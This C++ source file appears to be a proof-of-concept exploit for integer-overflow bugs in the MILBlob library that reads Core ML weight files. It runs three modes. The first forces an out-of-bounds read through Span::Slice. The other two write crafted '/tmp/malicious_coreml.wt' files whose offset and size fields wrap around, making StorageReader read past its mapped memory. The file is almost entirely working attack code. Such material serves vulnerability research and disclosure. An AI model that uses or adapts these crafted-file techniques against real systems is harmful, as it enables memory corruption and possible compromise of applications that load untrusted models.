| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
|
|
| #include "MILBlob/Blob/StorageReader.hpp" |
| #include "MILBlob/Blob/StorageFormat.hpp" |
| #include "MILBlob/Util/Span.hpp" |
|
|
| #include <cstring> |
| #include <fstream> |
| #include <iostream> |
| #include <cstdint> |
|
|
| using namespace MILBlob; |
| using namespace MILBlob::Blob; |
|
|
| |
| static void test_span_slice_overflow() { |
| std::cout << "[*] Mode 1: Direct Span::Slice integer overflow" << std::endl; |
|
|
| const size_t BUF_SIZE = 256; |
| uint8_t* buf = new uint8_t[BUF_SIZE]; |
| memset(buf, 0x41, BUF_SIZE); |
|
|
| Util::Span<uint8_t> span(buf, BUF_SIZE); |
|
|
| |
| |
| |
| |
| |
| size_t index = 128; |
| size_t size = static_cast<size_t>(-128); |
|
|
| std::cout << " Span size: " << span.Size() << std::endl; |
| std::cout << " Slice index: " << index << std::endl; |
| std::cout << " Slice size: " << size << " (0x" << std::hex << size << std::dec << ")" << std::endl; |
| std::cout << " index + size (wraps): " << (index + size) << std::endl; |
|
|
| try { |
| auto sub = span.Slice(index, size); |
| std::cout << " [!] Slice returned without throwing! Sub-span size: " << sub.Size() << std::endl; |
| std::cout << " [!] Reading OOB at sub[256] (past heap allocation)..." << std::endl; |
| volatile uint8_t x = sub[256]; |
| (void)x; |
| std::cout << " [!] OOB read succeeded (value: " << (int)x << ")" << std::endl; |
| } catch (const std::exception& e) { |
| std::cout << " [-] Exception (unexpected): " << e.what() << std::endl; |
| } |
|
|
| delete[] buf; |
| } |
|
|
| |
| static void test_storagereader_overflow(const char* path) { |
| std::cout << "[*] Mode 2: Full StorageReader path with malicious .wt" << std::endl; |
|
|
| |
| storage_header header; |
| memset(&header, 0, sizeof(header)); |
| header.count = 1; |
| header.version = 2; |
|
|
| blob_metadata meta; |
| memset(&meta, 0, sizeof(meta)); |
| meta.sentinel = BlobMetadataSentinel; |
| meta.mil_dtype = BlobDataType::Float32; |
| meta.offset = 128; |
| meta.sizeInBytes = static_cast<uint64_t>(-128); |
|
|
| |
| uint8_t data[128]; |
| memset(data, 0x42, sizeof(data)); |
|
|
| { |
| std::ofstream f(path, std::ios::binary); |
| f.write(reinterpret_cast<const char*>(&header), sizeof(header)); |
| f.write(reinterpret_cast<const char*>(&meta), sizeof(meta)); |
| f.write(reinterpret_cast<const char*>(data), sizeof(data)); |
| } |
| |
|
|
| std::cout << " Created malicious .wt (" << (sizeof(header) + sizeof(meta) + sizeof(data)) << " bytes)" << std::endl; |
| std::cout << " blob_metadata.offset = " << meta.offset << std::endl; |
| std::cout << " blob_metadata.sizeInBytes = 0x" << std::hex << meta.sizeInBytes << std::dec << std::endl; |
| std::cout << " offset + sizeInBytes (wraps to): " << (meta.offset + meta.sizeInBytes) << std::endl; |
|
|
| try { |
| StorageReader reader(path); |
|
|
| |
| |
| auto span = reader.GetRawDataView(sizeof(storage_header)); |
|
|
| std::cout << " [!] GetRawDataView succeeded!" << std::endl; |
| std::cout << " [!] Returned span size: " << span.Size() << " (0x" << std::hex << span.Size() << std::dec << ")" << std::endl; |
| std::cout << " [!] Reading data past mmap'd region..." << std::endl; |
|
|
| |
| |
| |
| |
| volatile uint8_t x = 0; |
| for (size_t i = 0; i < 65536; i += 512) { |
| x = span[i]; |
| } |
| (void)x; |
|
|
| } catch (const std::exception& e) { |
| std::cerr << " Exception: " << e.what() << std::endl; |
| } |
| } |
|
|
| |
| static void test_getalloffsets_overflow(const char* path) { |
| std::cout << "[*] Mode 3: GetAllOffsets metadata.offset + sizeInBytes overflow" << std::endl; |
|
|
| storage_header header; |
| memset(&header, 0, sizeof(header)); |
| header.count = 2; |
| header.version = 2; |
|
|
| |
| blob_metadata meta1; |
| memset(&meta1, 0, sizeof(meta1)); |
| meta1.sentinel = BlobMetadataSentinel; |
| meta1.mil_dtype = BlobDataType::UInt8; |
| meta1.offset = 192; |
| meta1.sizeInBytes = 0xFFFFFFFFFFFFFFC0ULL; |
|
|
| |
| |
| blob_metadata meta2; |
| memset(&meta2, 0, sizeof(meta2)); |
| meta2.sentinel = BlobMetadataSentinel; |
| meta2.mil_dtype = BlobDataType::UInt8; |
| meta2.offset = 256; |
| meta2.sizeInBytes = 64; |
|
|
| uint8_t data[128]; |
| memset(data, 0x43, sizeof(data)); |
|
|
| { |
| std::ofstream f(path, std::ios::binary); |
| f.write(reinterpret_cast<const char*>(&header), sizeof(header)); |
| f.write(reinterpret_cast<const char*>(&meta1), sizeof(meta1)); |
| f.write(reinterpret_cast<const char*>(&meta2), sizeof(meta2)); |
| f.write(reinterpret_cast<const char*>(data), sizeof(data)); |
| } |
|
|
| std::cout << " meta1.offset + meta1.sizeInBytes wraps to: " |
| << (meta1.offset + meta1.sizeInBytes) << std::endl; |
|
|
| try { |
| StorageReader reader(path); |
| auto offsets = reader.GetAllOffsets(); |
| std::cout << " [!] GetAllOffsets returned " << offsets.size() << " offsets:" << std::endl; |
| for (size_t i = 0; i < offsets.size(); i++) { |
| std::cout << " offset[" << i << "] = " << offsets[i] << std::endl; |
| } |
| } catch (const std::exception& e) { |
| std::cerr << " Exception: " << e.what() << std::endl; |
| } |
| } |
|
|
| int main(int argc, char** argv) { |
| int mode = 1; |
| if (argc > 1) mode = atoi(argv[1]); |
|
|
| const char* wt_path = "/tmp/malicious_coreml.wt"; |
|
|
| switch (mode) { |
| case 1: |
| test_span_slice_overflow(); |
| break; |
| case 2: |
| test_storagereader_overflow(wt_path); |
| break; |
| case 3: |
| test_getalloffsets_overflow(wt_path); |
| break; |
| default: |
| test_span_slice_overflow(); |
| test_storagereader_overflow(wt_path); |
| test_getalloffsets_overflow(wt_path); |
| break; |
| } |
|
|
| return 0; |
| } |
|
|